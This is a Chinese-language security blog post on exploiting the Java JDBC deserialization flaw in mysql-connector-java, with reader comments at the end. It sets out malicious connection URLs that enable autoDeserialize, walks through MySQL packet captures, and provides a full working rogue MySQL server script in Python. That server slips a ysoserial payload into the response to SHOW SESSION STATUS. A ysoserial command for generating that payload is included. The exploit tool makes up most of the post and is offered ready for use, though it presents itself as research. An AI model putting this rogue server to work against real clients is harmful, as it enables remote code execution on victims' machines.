java jdbc 反序列漏洞的自动化利用

前言

BlackHat Europe 2019 的议题New Exploit Technique In Java Deserialization Attack中提到了通过控制 JDBC URL 利用 mysql-connector-java 组件进行反序列化攻击的方法。漏洞原理分析可见参考文章,不多赘述。

本文主要就已经披露的 java jdbc 反序列漏洞的一个利用方法,分析了相应的 mysql 连接协议并编写了简单的漏洞自动化利用脚本。

过程

0x00:主要思路

  1. 搭建真实环境,wireshark 抓取漏洞触发时的数据包;
  2. 结合 mysql 协议,分析并理解客户端和服务端交互时各个数据包的含义;
  3. 利用 socket 发包程序模拟 mysql server,并找到反序列化数据在整个交互过程中的位置;
  4. 将反序列化数据块单独剥离出来,达到可以随意替换反序列化 poc 而不用再改程序的效果;

0x01:选择触发点

对于新的反序列化漏洞利用攻击面,触发点可能不止一处,尽量选取复现步骤完整、稳定利用的触发点。这里选择了 参考文章1 中的方法,通过控制SQL查询 SHOW SESSION STATUS 返回结果进行反序列化利用的触发点。

0x02:测试代码

java 代码

  • mysql-connector-java 5.x
import java.sql.*;

public class MysqlJdbcTest {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.jdbc.Driver";
        String user = "root";
        String password = "ubuntu";
        String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(url, user, password);
    }
}
  • mysql-connector-java 8.x
import java.sql.*;

public class MysqlJdbcTest {
    public static void main(String[] args) throws Exception{
        String driver = "com.mysql.cj.jdbc.Driver";
        String user = "root";
        String password = "ubuntu";
        String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";
        Class.forName(driver);
        Connection conn = DriverManager.getConnection(url, user, password);
    }
}

pom.xml 依赖

<dependencies>
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.12</version>
        <!--<version>5.1.47</version>-->
    </dependency>

    <dependency>
        <groupId>commons-collections</groupId>
        <artifactId>commons-collections</artifactId>
        <version>3.2.1</version>
    </dependency>
</dependencies>

0x03: 抓数据包分析

搭建真实环境,抓取漏洞利用成功时交互的数据包:

MySQL客户端与服务器的交互主要分为两个阶段:握手认证阶段命令执行阶段

一:握手认证阶段

握手认证阶段为客户端与服务器建立连接后进行,交互过程如下:

  • 服务器 -> 客户端:握手初始化消息
  • 客户端 -> 服务器:登陆认证消息
  • 服务器 -> 客户端:认证结果消息

二:命令执行阶段

客户端认证成功后,会进入命令执行阶段,交互过程如下:

  • 客户端 -> 服务器:执行命令消息
  • 服务器 -> 客户端:命令执行结果

三:数据传输格式

主要关注 服务端 -> 客户端 的数据包,其基本格式如下:

+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  data_length  |  sequence_id  |               data            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     3 bytes   |    1 bytes    |             N bytes           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

对应解释:

类型 含义 字节数 描述
data_length 具体数据长度 3 具体数据包的长度,从去除头部4个字节后开始的内容
sequence_id 包序列id 1 每个包的序列id,总数据内容大于16MB时使用,从0开始递增1,新命令执行重载为0
data 具体数据 N 除去头部后的具体数据内容

这里需要注意的一点是: mysql 通信协议使用小端序列进行传输。例如,当传输的 data_length3627 (0x0e2b)个字节时,传输数据时的排列顺序为 0x2b0e

四:提取 mysql 协议数据

如下图,复制服务端响应包的 hex 值,然后去除前 108 位字符 (54字节TCP包头),剩余的就是 mysql 协议内容

五:剥离反序列化数据

根据前文可知反序列化数据在客户端查询 SHOW SESSION STATUS 的结果中。如下图,找到并复制响应包,直接比对数据,定位到具体数据内容,而后根据内容长度,用小端序列返回即可。

参考程序

触发方式:

  • mysql-connector-java 5.x
String driver = "com.mysql.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true"
  • mysql-connector-java 8.x
String driver = "com.mysql.cj.jdbc.Driver";
String url = "jdbc:mysql://192.168.44.1:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true";

通用脚本 rogue-mysql-server.py 如下:

#!/usr/bin/env python
# coding: utf-8
# -**- Author: LandGrey -**-

import os
import socket
import binascii


def server_send(conn, payload):
    global count
    count += 1
    print("[*] Package order: {}, Send: {}".format(count, payload))
    conn.send(binascii.a2b_hex(payload))


def server_receive(conn):
    global count, BUFFER_SIZE

    count += 1
    data = conn.recv(BUFFER_SIZE)
    print("[*] Package order: {}, Receive: {}".format(count, data))
    return str(data).lower()


def run_mysql_server():
    global count, deserialization_payload

    while True:
        count = 0
        conn, addr = server_socks.accept()
        print("[+] Connection from client -> {}:{}".format(addr[0], addr[1]))
        greeting = '4a0000000a352e372e323900160000006c7a5d420d107a7700ffff080200ffc11500000000000000000000566d1a0a796d3e1338313747006d7973716c5f6e61746976655f70617373776f726400'
        server_send(conn, greeting)
        if os.path.isfile(deserialization_file):
            with open(deserialization_file, 'rb') as _f:
                deserialization_payload = binascii.b2a_hex(_f.read())
        while True:
            # client auth
            server_receive(conn)
            server_send(conn, response_ok)

            # client query
            data = server_receive(conn)
            if "session.auto_increment_increment" in data:
                _payload = '01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c210009000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000f90000150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013007343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e035554430653595354454d0f52455045415441424c452d5245414405323838303007000016fe000002000200'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
                server_send(conn, _payload)
                data = server_receive(conn)
            if "set names" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "set character_set_results" in data:
                server_send(conn, response_ok)
                data = server_receive(conn)
            if "show session status" in data:
                _data = '0100000102'
                _data += '2700000203646566056365736869046f626a73046f626a730269640269640c3f000b000000030000000000'
                _data += '2900000303646566056365736869046f626a73046f626a73036f626a036f626a0c3f00ffff0000fc9000000000'
                _payload_hex = str(hex(len(deserialization_payload)/2)).replace('0x', '').zfill(4)
                _payload_length = _payload_hex[2:4] + _payload_hex[0:2]
                _data_hex = str(hex(len(deserialization_payload)/2 + 5)).replace('0x', '').zfill(6)
                _data_lenght = _data_hex[4:6] + _data_hex[2:4] + _data_hex[0:2]
                _data += _data_lenght + '04' + '0131fc' + _payload_length + deserialization_payload
                _data += '07000005fe000022000100'
                server_send(conn, _data)
                data = server_receive(conn)
            if "show warnings" in data:
                _payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
                server_send(conn, _payload)

            break
        try:
            conn.close()
        except Exception as e:
            pass


if __name__ == "__main__":
    HOST = "0.0.0.0"
    PORT = 3306

    deserialization_file = r'payload.ser'
    if os.path.isfile(deserialization_file):
        with open(deserialization_file, 'rb') as f:
            deserialization_payload = binascii.b2a_hex(f.read())
    else:
        deserialization_payload = 'aced****(your deserialized hex data)'

    count = 0
    BUFFER_SIZE = 1024
    response_ok = '0700000200000002000000'
    print("[+] rogue mysql server Listening on {}:{}".format(HOST, PORT))
    server_socks = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server_socks.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    server_socks.bind((HOST, PORT))
    server_socks.listen(1)

    run_mysql_server()

使用时,直接生成反序列化载荷文件 payload.ser ,如:

java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

并和本程序放在同一个目录下即可

参考文章:

mysql jdbc 反序列化漏洞测试

JDBC导致的反序列化攻击

New Exploit Technique In Java Deserialization Attack

MySQL网络协议分析

MySQL协议分析

标签   

2 评论

  1. aaa
    /回复

    python 2 运行脚本怎么报IO error

    • 呵呵
      /回复

      @aaa 文中用的Python3啊

评论